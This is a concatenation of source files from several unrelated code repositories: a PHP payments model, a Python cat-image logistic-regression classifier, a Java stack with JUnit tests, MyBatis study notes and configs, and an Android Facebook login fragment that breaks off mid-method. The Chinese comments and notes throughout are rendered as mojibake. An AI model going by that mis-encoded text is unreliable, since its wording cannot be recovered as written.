//exit($params ["num_rows"].' - '.$params ["page"]);
//Get contents
if($page=='count') return $this->db->count_all_results();
else {
$query = $this->db->get();
//log_message('debug',$this->db->last_query());
return $query;
}
}
##############################################################################
public function get_data_to_export($params = "" , $page = "all")
{
$this->CI =& get_instance();
//Select table name
$table_name = "payments";
//Build contents query
$this->db->select('payments.id_user as id_usuario, payments.desc_user as Usuario, payments.quantity as Importe, payments.ticket_number as NumeroTicket, payments.datetime as FechaFactura, payments.description as Descripcion, payments.create_user as UsuarioQueFactura, zz_payment_status.description as EstadoPago, zz_paymentway.description as FormaPago, zz_payment_type.description as ConceptoPago, zz_sports.description as Deporte, payments.id_transaction as id_element ', FALSE)->from($table_name);
$this->db->distinct();
//$this->db->join('courts', 'courts.id=booking.id_court', 'left outer');
//$this->db->join('booking', 'payments.id_transaction=booking.id_transaction', 'left outer');
$this->db->join('meta', 'payments.id_user=meta.user_id', 'left outer');
$this->db->join('booking', 'payments.id_transaction=booking.id_transaction', 'left outer');
$this->db->join('courts', 'booking.id_court=courts.id', 'left outer');
$this->db->join('courts_types', 'courts.court_type=courts_types.id', 'left outer');
$this->db->join('zz_sports', 'courts_types.id_sport=zz_sports.id', 'left outer');
$this->db->join('zz_payment_status', 'payments.status=zz_payment_status.id', 'left outer');
$this->db->join('zz_paymentway', 'payments.id_paymentway=zz_paymentway.id', 'left outer');
$this->db->join('zz_payment_type', 'payments.id_type=zz_payment_type.id', 'left outer');
if (!empty ($params['where'])) $this->db->where($params['where']);
if (!empty ($params['orderby']) && !empty ($params['orderbyway'])) $this->db->order_by($params['orderby'], $params['orderbyway']);
if ($page != "all") $this->db->limit ($params ["num_rows"], $params ["num_rows"] * ($params ["page"] - 1) );
//Get contents
$query = $this->db->get();
$resultado = $query->result_array();
//exit($this->db->last_query());
//log_message('debug',$this->db->last_query());
return $resultado;
}
##############################################################################
function getPaymentMethodsByUser($user_level) {
# Devuelve array de los diferentes mรฉtodos de pago disponibles
$this->CI =& get_instance();
$this->CI->load->config('pagos');
$payment = array ('reserve' => FALSE, 'cash' => FALSE, 'paypal' => FALSE, 'prepaid' => FALSE, 'creditcard' => FALSE, 'tpv' => FALSE, 'bank' => FALSE);
//echo $user_level.'<br>';
//print_r($payment);
foreach($payment as $type => $value) {
$payment[$type] = $this->app_common->PaymentMethodStatus($type);
}
if($user_level < 3 ) $pagos_adaptado = $this->CI->config->item('payment_admin_available');
elseif($user_level >= 3 && $user_level < 4 ) $pagos_adaptado = $this->CI->config->item('payment_operator_available');
elseif($user_level >= 4 && $user_level < 5 ) $pagos_adaptado = $this->CI->config->item('payment_profesor_available');
elseif($user_level >= 6 && $user_level < 7 ) $pagos_adaptado = $this->CI->config->item('payment_advanced_user_available');
elseif($user_level >= 7 && $user_level < 8 ) $pagos_adaptado = $this->CI->config->item('payment_user_available');
else $pagos_adaptado = $this->CI->config->item('payment_anonimo_available');
//print_r($payment);print_r($pagos_adaptado);//exit("AAAAAA");
foreach($payment as $type => $value) {
if($payment[$type] && isset($pagos_adaptado[$type]) && !$pagos_adaptado[$type]) $payment[$type] = FALSE;
}
return $payment;
}
##############################################################################
function getNextTicketNumber($date, $extra = NULL)
{
if(!isset($date)) return NULL;
$this->CI =& get_instance();
$this->CI->load->config('pagos');
$numero_diario = date($this->CI->config->item('payment_ticket_format_prefix')).sprintf($this->CI->config->item('payment_ticket_format_number'), 1);
//echo '--'.$numero_diario.'<br>';
//Select table name
$table_name = "payments";
//Build contents query
$this->db->select_max('payments.ticket_number', FALSE)->from($table_name);
$this->db->where('date(datetime)', $date);
//Get contents
$query = $this->db->get();
log_message('debug',$this->db->last_query());
if ($query->num_rows() > 0)
{
$row = $query->row();
$maximo = $row->ticket_number;
if(isset($maximo) && $maximo != '') {
$sub_maximo = intval(substr($maximo, (-1 * $this->CI->config->item('payment_ticket_format_number_length'))));
//echo '--'.$sub_maximo.'<br>';
$numero_diario = date($this->CI->config->item('payment_ticket_format_prefix')).sprintf($this->CI->config->item('payment_ticket_format_number'), $sub_maximo + 1);
}
//echo '--'.$row->ticket_number;
}
//echo 'Final--'.$numero_diario.'<br>';
return $numero_diario;
}
}
?>```
|
yummycats/catClassifier
|
yummycats/catClassifier
README.md
```# catClassifier
่ฏๅซๆฏๅฆไธบ็ซๅพ๏ผๆทฑๅบฆๅญฆไน ็ผ็จไฝไธ๏ผ
```
main.py
```import numpy as np
import h5py
import matplotlib.pyplot as plt
import scipy
from PIL import Image
from scipy import ndimage
from lr_utils import load_dataset
#%matplotlib inline
def showPic(index):
plt.imshow(train_set_x_orig[index])
plt.show()
'''print("y = " + str(train_set_y[:, index]) + ", it's a '" + classes[np.squeeze(train_set_y[:, index])].decode(
"utf-8") + "' picture.")'''
def sigmoid(z):
s = 1 / (1 + np.exp(-z))
return s
def initialize_with_zeros(dim):
w = np.zeros((dim, 1))
b = 0
assert (w.shape == (dim, 1))
assert (isinstance(b, float) or isinstance(b, int))
return w, b
def propagate(w, b, X, Y):
m = X.shape[1]
A = sigmoid(np.dot(w.T, X) + b)
cost = -1/m * np.sum(Y * np.log(A) + (1-Y) * np.log(1-A))
dw = 1/m * np.dot(X, (A-Y).T)
db = 1/m * np.sum(A - Y)
assert (dw.shape == w.shape)
assert (db.dtype == float)
cost = np.squeeze(cost)
assert (cost.shape == ())
grads = {"dw": dw,
"db": db}
return grads, cost
def optimize(w, b, X, Y, num_iterations, learning_rate, print_cost = False):
costs = []
for i in range(num_iterations):
grades, cost = propagate(w, b, X, Y)
dw = grades["dw"]
db = grades["db"]
w = w - learning_rate * dw
b = b - learning_rate * db
if i % 100 == 0:
costs.append(cost)
if print_cost and i % 100 ==0:
print("Cost after iteration %i: %f" %(i, cost))
params = {"w": w,
"b": b}
grades = {"dw": dw,
"db": db}
return params,grades,costs
def predict(w, b, X):
m = X.shape[1]
Y_prediction = np.zeros((1, m))
w = w.reshape(X.shape[0], 1)
A = sigmoid(np.dot(w.T, X) + b)
for i in range(X.shape[1]):
if(A[0][i] <= 0.5):
Y_prediction[0][i] = 0
else:
Y_prediction[0][i] = 1
assert (Y_prediction.shape == (1, m))
return Y_prediction
def model(X_train, Y_train, X_test, Y_test, num_iterations=2000, learning_rate=0.5, print_cost=False):
w,b = initialize_with_zeros(X_train.shape[0])
params, grades, costs = optimize(w,b,X_train,Y_train,num_iterations,learning_rate,print_cost)
w = params["w"]
b = params["b"]
Y_prediction_train = predict(w, b, X_train)
Y_prediction_test = predict(w, b, X_test)
print("train accuracy: {} %".format(100 - np.mean(np.abs(Y_prediction_train - Y_train)) * 100))
print("test accuracy: {} %".format(100 - np.mean(np.abs(Y_prediction_test - Y_test)) * 100))
d = {"costs": costs,
"Y_prediction_test": Y_prediction_test,
"Y_prediction_train": Y_prediction_train,
"w": w,
"b": b,
"learning_rate": learning_rate,
"num_iterations": num_iterations}
return d
if __name__ =='__main__':
train_set_x_orig, train_set_y, test_set_x_orig, test_set_y, classes = load_dataset()
#train_set_x_orig is a numpy-array of shape (m_train, num_px, num_px, 3).
#showPic(25)
m_train = train_set_x_orig.shape[0]
m_test = test_set_x_orig.shape[0]
num_px = train_set_x_orig.shape[1]
train_set_x_flatten = train_set_x_orig.reshape(train_set_x_orig.shape[0], -1).T
test_set_x_flatten = test_set_x_orig.reshape(test_set_x_orig.shape[0], -1).T
train_set_x = train_set_x_flatten / 255.
test_set_x = test_set_x_flatten / 255.
d = model(train_set_x, train_set_y, test_set_x, test_set_y, num_iterations=5000, learning_rate=0.005, print_cost=True)
'''index = 1
showPic(index)
print("y = " + str(test_set_y[0, index]) + ", you predicted that it is a \"" + classes[
int(d["Y_prediction_test"][0, index])].decode("utf-8") + "\" picture.")
costs = np.squeeze(d['costs'])
plt.plot(costs)
plt.ylabel('cost')
plt.xlabel('iterations (per hundreds)')
plt.title("Learning rate =" + str(d["learning_rate"]))
plt.show()'''
my_image="123.jpg"
fname = "images/" + my_image
image = np.array(ndimage.imread(fname, flatten=False))
my_image = scipy.misc.imresize(image, size=(num_px, num_px)).reshape((1, num_px * num_px * 3)).T
my_predicted_image = predict(d["w"], d["b"], my_image)
plt.imshow(image)
plt.show()
print("y = " + str(np.squeeze(my_predicted_image)) + ", your algorithm predicts a \"" + classes[
int(np.squeeze(my_predicted_image)),].decode("utf-8") + "\" picture.")
```
|
yun11yun/JavaTool
|
yun11yun/JavaTool
StackTest.java
```package com.yun11yun;
import org.junit.Before;
import org.junit.Test;
import static org.junit.Assert.*;
public class StackTest {
private Stack<String> stack;
@Before
public void setUp() {
stack = new Stack <>(4);
}
@Test
public void isEmpty() {
assertTrue(stack.isEmpty());
stack.push("huang");
stack.pop();
assertTrue(stack.isEmpty());
}
@Test
public void push() {
stack.push("huang");
assertEquals("huang", stack.top());
assertEquals(1, stack.size());
stack.push("wen");
assertEquals("wen", stack.top());
assertEquals(2, stack.size());
}
@Test (expected = Error.class)
public void testPushStackOverflowError() {
stack.push("huang");
stack.push("wen");
stack.push("tao");
stack.push("yun");
stack.push("yun");
fail("ๅฝpushๆไฝ่ถ
่ฟstack็ๅฎน้ๆถๆฒกๆๆๅบ้่ฏฏ!");
}
@Test
public void pop() {
stack.push("้ๆฅๆด");
stack.push("้ๅฐไบฎ");
stack.push("้ไธน");
assertEquals("้ไธน", stack.pop());
assertEquals("้ๅฐไบฎ", stack.pop());
assertEquals("้ๆฅๆด", stack.pop());
assertNull(stack.pop());
}
}```
Stack.java
```package com.yun11yun;
import java.util.Arrays;
import java.util.List;
public class Stack<E> {
private Object[] elementData;
private int size;
public Stack(int initialCapacity) {
if (initialCapacity <= 0) {
throw new IllegalArgumentException("Illegal Capacity: "+
initialCapacity);
}
elementData = new Object[initialCapacity];
}
public Stack(List<? extends E> c) {
elementData = c.toArray();
if ((size = elementData.length) != 0) {
if (elementData.getClass() != Object[].class)
elementData = Arrays.copyOf(elementData, size, Object[].class);
} else {
throw new IllegalArgumentException("Illegal List:" + c.toString());
}
}
public boolean isEmpty() {
if (size() == 0) {
return true;
}
return false;
}
public boolean push(E element) {
if (size == elementData.length) {
throw new StackOverflowError();
}
size ++;
elementData[size - 1] = element;
return true;
}
public E pop() {
if (size == 0) {
return null;
}
E obj = (E)elementData[size - 1];
size --;
return obj;
}
public E top() {
if (size == 0) {
return null;
}
return (E)elementData[size - 1];
}
public int size() {
return size;
}
}
```
|
yun11yun/RGB
|
yun11yun/RGB
README.md
```# RGB
rob
```
|
yun79831/learn-mybatis
|
yun79831/learn-mybatis
task.md
```# Mybatis่ฏพๅไฝไธ
่ฏพ็จๆบ็ ๏ผ
1. ็ผ็จๅผ้กน็ฎ http://git.gupaoedu.com/vip/gupaoedu-mybatis
2. ้ๆspring
http://git.gupaoedu.com/vip/gupao-springmvc
ๆณจๆๆฅ็้กน็ฎไธ็ๅๆฏ๏ผไธ่ฏพ็จ็ๆฏvipๅๆฏ
gitใmavenใideaๅญฆไน ๆ็จ http://bbs.gupaoedu.com/forum.php?mod=viewthread&tid=380&extra=page%3D1&_dsign=4b78d4bb
## 20180324
1. Mapperๅจspring็ฎก็ไธๅ
ถๅฎๆฏๅไพ๏ผไธบไปไนๅฏไปฅๆฏไธไธช
ๅไพ๏ผ SCOPE -> application
2. MyBatisๅจSpring้ๆไธๆฒกๆmapper็xmlๆไปถไผไธไผ
ๆฅ้๏ผไธบไปไน๏ผ
springไธญๆๅผๅธธๅค็,ไธไผๆฅ้,่ฟๆฏๆๆณจ่งฃๆจกๅผ
3. TypeHandlerๆๅ
com.learn.mybatis.typehandler.StringTypeHandler
4. ๆๅPlugin,ๅคไธชinterceptorๅฐๅบ่ฐๅ
ๆง่ก๏ผ้กบๅบ็ฑ่ฐ
ๅณๅฎ็๏ผ
ๅๅบๆง่ก
## 20180325
1.ๆไน้ช่ฏไธ็บง็ผๅญ็ๅญๅจ๏ผ
2.้ช่ฏN+1้ฎ้ข
## 20180328
1. org.apache.ibatis.binding.MapperProxy#invoke ่ฟไธช็ฑป็53่กไปไนๆถๅๆง่ก๏ผ
## 20180331
1. TestMapper ไฝ่
ไธบไปไน่ฆ่ฎพ่ฎก่ฟๆ ท็ๅฝขๅผๆฅๅ๏ผ
ไธบไปไนไธๆฏไธไธชclass่ๆฏไธไธชinterface?
2. org.apache.ibatis.executor.BaseExecutor#queryFromDatabase 322่ก่ฟ่กไปฃ็ ็ๆไน
3. MyBatis็pluginๅฎ็ฐๆบๅถ
4. lazy loading ๆฏๆไนๅๅฐ็๏ผ
## 20180401
1. ๆๅ1.0
2. 2.0็ๆฌ็ๅบ็กไธ๏ผ็จannotation
้จๅ็ฌ่ฎฐ
ไธบไปไนjavaconfig ๆฏxml็จๅพๅคไบ
1.Executorไธป่ฆ็ๅ่ฝๆฏquery
2.query้ๅ่งฃๅจไฝ
-ใๆง่กๆฟๅฐ็ปๆ StatementHandler 17-24
-ใ็ปๆๆ ๅฐ ResultSetHandler 25
## 20180408
1. 2.0็ๆฌๅ ๅ
ฅpluginๅ่ฝ
1.Mapperๅจspring็ฎก็ไธๅ
ถๅฎๆฏๅไพ๏ผไธบไปไนๅฏไปฅๆฏไธไธช ๅไพ๏ผ SCOPE -> application
mapperๅจmybatis้ๆฏไธไธชMethod็บงๅซ็,ๅฝไธๆฌกsqlSession็ปๆไนๅ,ไนๅฐฑๅ
ณ้ญไบ;ๅจSpring็ฎก็ไธ,ๅๆไบไธไธชๅๅ,่ฎฉๅฎไธ็ดๅญๅจ,ๅฏไปฅๅจ่ฏฅmapper็ๆๆsqlSessionไฝฟ็จ,ๅๆไบไธไธชapplication็บงๅซ็
2.MyBatisๅจSpring้ๆไธๆฒกๆmapper็xmlๆไปถไผไธไผๆฅ้,ไธบไปไน๏ผ ไธไผ,ๅฏไปฅ็จๆณจ่งฃ็ๆนๅผannotation
3.TypeHandlerๆๅ 4.ๆๅPlugin,ๅคไธชinterceptorๅฐๅบ่ฐๅ
ๆง่ก๏ผ้กบๅบ็ฑ่ฐ ๅณๅฎ็๏ผ
ๅๆณจๅ็ๅ
ๆง่ก,็ถๅ้่ฟforๅพช็ฏ้ๅไธไธๅๅบๆฅ,ไธMapperProxyไปฃ็ๆๅ
ณ๏ผๅๅบ
5.ๆไน้ช่ฏไธ็บง็ผๅญ็ๅญๅจ๏ผ
ๅฏนไบๆไธชๆฅ่ฏข,ๅป็ผๅญCacheไธญๅๅบๅฏนๅบ็็็ผๅญ็ปๆ,ๅฆๆๅฝไธญ,ๅๅบ็ปๆๅผ,ๆฒกๆๅฐฑๅปๆฅ่ฏขๆฐๆฎๅบ,ๅฏไปฅๅจ็ปๆไธชๆฅ่ฏข่ฎพ็ฝฎๆฅ่ฏขๆถ้ด,่งๅฏๆถ้ด่ฟ่กๅฏนๆฏ
6.้ช่ฏN+1้ฎ้ข
2่กจๅ
ณ่ๅญฆ็่กจไธ็ญ็บง่กจ,่ฟ่กๅตๅฅๆฅ่ฏข,ๅผๅฏๆๅ ่ฝฝ,ๅฝๅช้่ฆๆฅ่ฏข็ญ็บงไฟกๆฏ,ๅฐฑๅ็ญ็บงไฟกๆฏ,ๅฐฑๆฏ1,ๅฝๅๅญฆ็ไฟกๆฏๆถๅฐฑๆฏN,ไธไธช็ญ็บงๅฏนๅบๅคไธชๅญฆ็,ๅ่ฝปๆฐๆฎๅบ็ๅๅ
1ใTestMapper ไฝ่
ไธบไปไน่ฆ่ฎพ่ฎก่ฟๆ ท็ๅฝขๅผๆฅๅ๏ผไธบไปไนไธๆฏไธไธชclass่ๆฏไธไธชinterface?
ไฝฟ็จๆฅๅฃๆ ๅฐ็ๆนๅผ๏ผๆไธป่ฆ็ๆฏไธบไบๅฐฝ้็็ฎๅ็ผ็ ๆไฝ๏ผๅฐๆดๅค็ไบๆ
ไบค็ปmapper.xmlๆฅๅฎ็ฐ๏ผ่ๆฅๅฃไธญๅช้่ฆๅฃฐๆmethodNameไธmapper.xmlๆ ๅฐๅฐฑๅฏไปฅไบ๏ผๆธ
ๆฐๆไบๆนไพฟ็ปดๆค
2ใorg.apache.ibatis.executor.BaseExecutor#queryFromDatabase 322่ก่ฟ่กไปฃ็ ็ๆไน
ๅบ่ฏฅๅจๅ
ณ่ๆฅ่ฏข๏ผๅผๅฏๆๅ ่ฝฝๆถๅๅ่ฝ่ตทๅฐ็ๆญฃ็ไฝ็จ๏ผไธป่ฆ็จไบๅฝๅ็ๅ
ณ่ๆฅ่ฏขๅ
ๅ ไฝไธๆง่ก๏ผๅฝ็ๆญฃ่ฐ็จๅ
ณ่ๆฅ่ฏขไธญ็ๆฐๆฎๆถ๏ผๅคๆญๅฝๅ็็ผๅญไธญๆฏๅฆๅทฒ็ผๅญๆฅ่ฏขๆฐๆฎๅนถไธๆฏๅฆๅทฒ็ปๅ ไฝ๏ผๅฆๆๅญๅจๆฐๆฎๅนถไธๆฒกๆๅ ไฝๅ็ดๆฅไป็ผๅญไธญ่ทๅๆฐๆฎ๏ผๅฆๆๅทฒ็ปๅ ไฝๆ่
ๆฒกๆ็ผๅญ๏ผๅ็ดๆฅ่ฟ่กๆฐๆฎ็ๆฅ่ฏขใ
3ใMyBatis็pluginๅฎ็ฐๆบๅถ
plugin้่ฟ่ดฃไปป้พๅไปฃ็็ๆนๅผๅปๅฎ็ฐ็๏ผๅ
ทไฝ็๏ผ้ฆๅ
้่ฟconfigurationๅๅปบๆถ๏ผ่ฏปๅ้
็ฝฎๆไปถๅฐ้
็ฝฎไธญ็plugin่ฝฝๅ
ฅinterceptorChainไธญ๏ผๅจconfigurationๅๅปบExecutorๆถ๏ผๆง่กinterceptorChain.pluginAll๏ผๆๆ็่ฟๆฅๅจ้ฝๅฏนexecutor่ฟ่กไบไธๆฌกไปฃ็๏ผๆ็ปๅฝๆง่กexecutorๆฏๅๅฐๆๆ็plugin้ฝๆง่กไธๆฌกใ
4ใlazy loading ๆฏๆไนๅๅฐ็๏ผ
ๅฏๅจๆๅ ่ฝฝๅ๏ผmybatisๅๅงๅ่ฟๅ็ฑปๅ็ๆถๅ๏ผไผ่ฟๅไธไธชcglib็ไปฃ็ๅฏน่ฑก๏ผcglibไผ่ฟๆปคget๏ผset็ญๆนๆณ๏ผ๏ผๅฝ่ฐ็จ่ฟไบๆนๆณcglibๅไผๅปๆง่ก็ธๅบ็ๆฅ่ฏข่ฏญๅฅ๏ผ่ฟ่ก็ฌฌไบๆฌกๅ
ณ่ไฟกๆฏๅฏนๅบ็่กจๆฅ่ฏข่ฏญๅฅ๏ผๆฅ่ฏข็ปๆๅๅฐๅผ่ตๅผ็ปๅฏน่ฑก
```
IntegrationMyBatisConfiguration.java
```package com.learn.mybatis.config;
import org.apache.ibatis.session.SqlSession;
import org.apache.ibatis.session.SqlSessionFactory;
import org.apache.ibatis.session.SqlSessionFactoryBuilder;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.InputStream;
/**
* ้ๆๅผไฝฟ็จMybatis
* Created by ghost on 2018-04-13.
*/
public class IntegrationMyBatisConfiguration {
//่ทๅSqlSession
public static SqlSession getSqlSession() throws FileNotFoundException {
InputStream mybatisConfig = new FileInputStream("E:\\workspace\\learn-mybatis\\src\\main\\resources\\mybatis-config.xml");
SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(mybatisConfig);
return sqlSessionFactory.openSession();
}
}
```
README.md
```# Mybatisๆบ็ ๅญฆไน ็ฌ่ฎฐ
## ่ฎค่ฏmybatis
[Mybatisๅฎ็ฝ](http://www.mybatis.org/mybatis-3/zh/index.html)
MyBatis ๆฏไธๆฌพไผ็ง็ๆไน
ๅฑๆกๆถ๏ผๅฎๆฏๆๅฎๅถๅ SQLใๅญๅจ่ฟ็จไปฅๅ้ซ็บงๆ ๅฐใMyBatis ้ฟๅ
ไบๅ ไนๆๆ็ JDBC ไปฃ็ ๅๆๅจ่ฎพ็ฝฎๅๆฐไปฅๅ่ทๅ็ปๆ้ใMyBatis ๅฏไปฅไฝฟ็จ็ฎๅ็ XML ๆๆณจ่งฃๆฅ้
็ฝฎๅๆ ๅฐๅ็ไฟกๆฏ๏ผๅฐๆฅๅฃๅ Java ็ POJOs(Plain Old Java Objects,ๆฎ้็ Javaๅฏน่ฑก)ๆ ๅฐๆๆฐๆฎๅบไธญ็่ฎฐๅฝใ
## ๅญฆไน Mybatis
### ไฝฟ็จๆนๅผ
1. ็ผ็จๅผ(JAVA APIๆนๅผ)
2. ้ๆๅผ(ๅบไบXMLๆนๅผ)
3. mybatisๅๅปบsqlsession็ป่ฟไบไปฅไธๅ ไธชไธป่ฆๆญฅ้ชค๏ผ
1. ไปๆ ธๅฟ้
็ฝฎๆไปถmybatis-config.xmlไธญ่ทๅEnvironment๏ผ่ฟ้้ขๆฏๆฐๆฎๆบ๏ผ๏ผ
2. ไปEnvironmentไธญๅๅพDataSource๏ผ
3. ไปEnvironmentไธญๅๅพTransactionFactory๏ผ
4. ไปDataSource้่ทๅๆฐๆฎๅบ่ฟๆฅๅฏน่ฑกConnection๏ผ
5. ๅจๅๅพ็ๆฐๆฎๅบ่ฟๆฅไธๅๅปบไบๅกๅฏน่ฑกTransaction๏ผ
6. ๅๅปบExecutorๅฏน่ฑก๏ผ่ฏฅๅฏน่ฑก้ๅธธ้่ฆ๏ผไบๅฎไธsqlsession็ๆๆๆไฝ้ฝๆฏ้่ฟๅฎๅฎๆ็๏ผ๏ผ
7. ๅๅปบsqlsessionๅฏน่ฑกใ
### sql้
็ฝฎๆนๅผ
1. XML้
็ฝฎ
2. ๆณจ่งฃ้
็ฝฎ
### ๅผๅ้กบๅบ
1. ๅๆไธๅก
2. ๅฎไน่กจ
3. generator็ๆๆ้่ฆ็็ฑป
### ไฝ็จๅscope
1. SqlSessionFactoryBuilder
2. SqlSessionFactory-->session
3. SqlSession -->method
4. Mapper -->method
### ้
็ฝฎ
1. configurationๅๅ
็ด
1. environment
2. type handle
3. plugin
2. mapper.xml
## ๆๅๆกๆถ
1. V1.0
2. V2.0
## mybatis-spring้ๆๅ็```
TestSql.java
```package mybatis;
import com.learn.mybatis.beans.Author;
import com.learn.mybatis.config.IntegrationMyBatisConfiguration;
import com.learn.mybatis.mapper.AuthorMapper;
import org.apache.ibatis.session.SqlSession;
import org.junit.Test;
import java.io.FileNotFoundException;
/**
* Created by ghost on 2018-04-11.
*/
public class TestSql {
@Test
public void test1() throws FileNotFoundException {
SqlSession sqlSession = IntegrationMyBatisConfiguration.getSqlSession();
AuthorMapper mapper = sqlSession.getMapper(AuthorMapper.class);
Author author = mapper.selectByPrimaryKey(2);
System.out.println(author.getAuthorName());
sqlSession.close();
}
@Test
public void testTypeHandler() throws FileNotFoundException {
SqlSession sqlSession = IntegrationMyBatisConfiguration.getSqlSession();
AuthorMapper mapper = sqlSession.getMapper(AuthorMapper.class);
Author author = new Author();
author.setAuthorName("ๆต่ฏ1");
mapper.insert(author);
sqlSession.commit();
sqlSession.close();
}
public static void main(String[] args) throws FileNotFoundException {
}
}
```
ProgrammingMyBatisConfiguration.java
```package com.learn.mybatis.config;
/**
* ็ผ็จๅผไฝฟ็จMybatis
* Created by ghost on 2018-04-13.
*/
public class ProgrammingMyBatisConfiguration {
}
```
TestSpringSql.java
```package mybatis;
import com.learn.mybatis.beans.Author;
import com.learn.mybatis.mapper.AuthorMapper;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.ContextConfiguration;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.transaction.annotation.Transactional;
/**
* ้ๆๅผ
* Created by ghost on 2018-04-11.
*/
@RunWith(SpringJUnit4ClassRunner.class)
@ContextConfiguration(locations = "classpath*:spring-context.xml")
@Transactional
public class TestSpringSql {
@Autowired
private AuthorMapper authorMapper;
@Test
public void test1() {
Author author = authorMapper.selectByPrimaryKey(2);
System.out.println(author.getAuthorName());
}
}
```
|
yunarta/works-facebook
|
yunarta/works-facebook
FacebookPluginFragment.java
```/*
* Copyright 2014-present Yunarta
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.mobilesolutionworks.android.facebook;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.support.annotation.NonNull;
import android.support.v4.app.Fragment;
import com.facebook.FacebookRequestError;
import com.facebook.LoggingBehavior;
import com.facebook.Request;
import com.facebook.Response;
import com.facebook.Session;
import com.facebook.SessionLoginBehavior;
import com.facebook.SessionState;
import com.facebook.Settings;
import com.facebook.UiLifecycleHelper;
import com.facebook.widget.FacebookDialog;
import com.mobilesolutionworks.android.facebook.bolts.Ending;
import com.mobilesolutionworks.android.facebook.bolts.Failed;
import com.mobilesolutionworks.android.facebook.bolts.Success;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.Callable;
import bolts.Continuation;
import bolts.Task;
/**
* Created by yunarta on 7/9/14.
*/
public class FacebookPluginFragment extends Fragment implements WorksFacebook {
protected static final int REQUEST_CODE = 0xfb;
protected UiLifecycleHelper mLifecycleHelper;
Map<Integer, FacebookDialog.Callback> mFacebookDialogMap;
@Override
public void onAttach(Activity activity) {
super.onAttach(activity);
if (BuildConfig.DEBUG) {
Settings.addLoggingBehavior(LoggingBehavior.APP_EVENTS);
Settings.addLoggingBehavior(LoggingBehavior.CACHE);
Settings.addLoggingBehavior(LoggingBehavior.DEVELOPER_ERRORS);
Settings.addLoggingBehavior(LoggingBehavior.INCLUDE_ACCESS_TOKENS);
Settings.addLoggingBehavior(LoggingBehavior.INCLUDE_RAW_RESPONSES);
Settings.addLoggingBehavior(LoggingBehavior.REQUESTS);
}
Session.openActiveSessionFromCache(activity);
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
mLifecycleHelper = new UiLifecycleHelper(getActivity(), null);
mLifecycleHelper.onCreate(savedInstanceState);
mFacebookDialogMap = new HashMap<Integer, FacebookDialog.Callback>();
// SessionController instance = SessionController.getInstance(getActivity());
// Session session = instance.getSession();
//
// Log.d(BuildConfig.MODULE_NAME, "session = " + session);
// Log.d(BuildConfig.MODULE_NAME, "session.getAccessToken() = " + session.getAccessToken());
// Log.d(BuildConfig.MODULE_NAME, "session.getApplicationId() = " + session.getApplicationId());
// Log.d(BuildConfig.MODULE_NAME, "session.getAuthorizationBundle() = " + session.getAuthorizationBundle());
// Log.d(BuildConfig.MODULE_NAME, "session.getState() = " + session.getState());
}
@Override
public void onSaveInstanceState(Bundle outState) {
super.onSaveInstanceState(outState);
mLifecycleHelper.onSaveInstanceState(outState);
}
@Override
public void onResume() {
super.onResume();
mLifecycleHelper.onResume();
}
@Override
public void onPause() {
super.onPause();
mLifecycleHelper.onPause();
}
@Override
public void onStop() {
super.onStop();
mLifecycleHelper.onStop();
}
@Override
public void onDestroy() {
super.onDestroy();
mLifecycleHelper.onDestroy();
}
protected Session getSession() {
return Session.getActiveSession();
}
@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
FacebookDialog.Callback callback = mFacebookDialogMap.remove(requestCode);
if (callback != null) {
mLifecycleHelper.onActivityResult(requestCode, resultCode, data, callback);
} else {
mLifecycleHelper.onActivityResult(requestCode, resultCode, data);
}
}
@Override
public void trackPendingDialogCall(FacebookDialog.PendingCall pendingCall, FacebookDialog.Callback callback) {
mFacebookDialogMap.put(pendingCall.getRequestCode(), callback);
mLifecycleHelper.trackPendingDialogCall(pendingCall);
}
@Override
public void open(@NonNull final WorksFacebook.Callback callback) {
checkSession().onSuccessTask(new Continuation<Response, Task<Session>>() {
@Override
public Task<Session> then(Task<Response> responseTask) throws Exception {
return openSession(Session.getActiveSession());
}
}).onSuccess(new Success<Session>() {
@Override
public void success(final Task<Session> task) throws Exception {
getActivity().runOnUiThread(new Runnable() {
@Override
public void run() {
callback.onSessionOpened(task.getResult());
}
});
}
}).continueWith(new Failed<Void>() {
@Override
public void fault(Task<Void> task) throws Exception {
getActivity().runOnUiThread(new Runnable() {
@Override
public void run() {
callback.onCancelled();
}
});
}
});
}
@Override
public void validate(@NonNull final WorksFacebook.Callback callback) {
checkSession().continueWith(new Ending<Response>() {
@Override
public void end(Task<Response> responseTask) throws Exception {
getActivity().runOnUiThread(new Runnable() {
@Override
public void run() {
callback.onSessionOpened(Session.getActiveSession());
}
});
}
});
}
@Override
public void readRequest(final Request request, @NonNull final WorksFacebook.ResponseCallback callback, final String... newPermissions) {
checkSession().onSuccessTask(new Continuation<Response, Task<Session>>() {
@Override
public Task<Session> then(Task<Response> responseTask) throws Exception {
return openSession(Session.getActiveSession());
}
}).onSuccessTask(new Continuation<Session, Task<Session>>() {
@Override
public Task<Session> then(Task<Session> task) throws Exception {
return requestForPublish(task.getResult(), true, newPermissions);
}
}).onSuccessTask(new Continuation<Session, Task<Response>>() {
@Override
public Task<Response> then(Task<Session> task) throws Exception {
return makeRequest(task.getResult(), request);
}
}).onSuccess(new Success<Response>() {
@Override
public void success(final Task<Response> task) throws Exception {
getActivity().runOnUiThread(new Runnable() {
@Override
public void run() {
callback.onCompleted(task.getResult());
}
});
}
}).continueWith(new Success<Void>() {
@Override
public void success(Task<Void> task) throws Exception {
getActivity().runOnUiThread(new Runnable() {
@Override
public void run() {
callback.onCancelled();
}
});
}
});
}
@Override
public void publishRequest(final Request request, @NonNull final WorksFacebook.ResponseCallback callback, final String... newPermissions) {
checkSession().onSuccessTask(new Continuation<Response, Task<Session>>() {
@Override
